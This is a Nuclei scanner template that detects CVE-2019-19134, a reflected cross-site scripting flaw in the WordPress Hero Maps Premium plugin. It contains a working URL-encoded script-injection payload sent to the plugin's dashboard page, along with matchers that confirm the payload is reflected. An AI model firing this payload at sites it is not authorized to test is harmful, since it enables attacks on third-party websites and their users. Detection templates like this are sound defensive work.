id: CVE-2019-19134

info:
  name: WordPress Hero Maps Premium <=2.2.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Hero Maps Premium plugin 2.2.1 and prior contains an unauthenticated reflected cross-site scripting vulnerability via the views/dashboard/index.php p parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Hero Maps Premium plugin (>=2.2.2) or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/d179f7fe-e3e7-44b3-9bf8-aab2e90dbe01
    - https://www.hooperlabs.xyz/disclosures/cve-2019-19134.php
    - https://heroplugins.com/product/maps/
    - https://heroplugins.com/changelogs/hmaps/changelog.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19134
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-19134
    cwe-id: CWE-79
    epss-score: 0.05651
    epss-percentile: 0.92196
    cpe: cpe:2.3:a:heroplugins:hero_maps_premium:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: heroplugins
    product: hero_maps_premium
    framework: wordpress
  tags: cve,cve2019,wpscan,wordpress,xss,wp-plugin,maps,heroplugins,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/hmapsprem/views/dashboard/index.php?p=/wp-content/plugins/hmapsprem/foo%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'foo"></script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f78b5c4ee539b5837bf70466df230bee894bcd4baeb86a223d60564a7df3548f02201ee529fc48fa54a9731a2e2ff755fa4e54c329a48ea854ef75d6938b3ccd4377:922c64590222798bb761d5b6d8e72950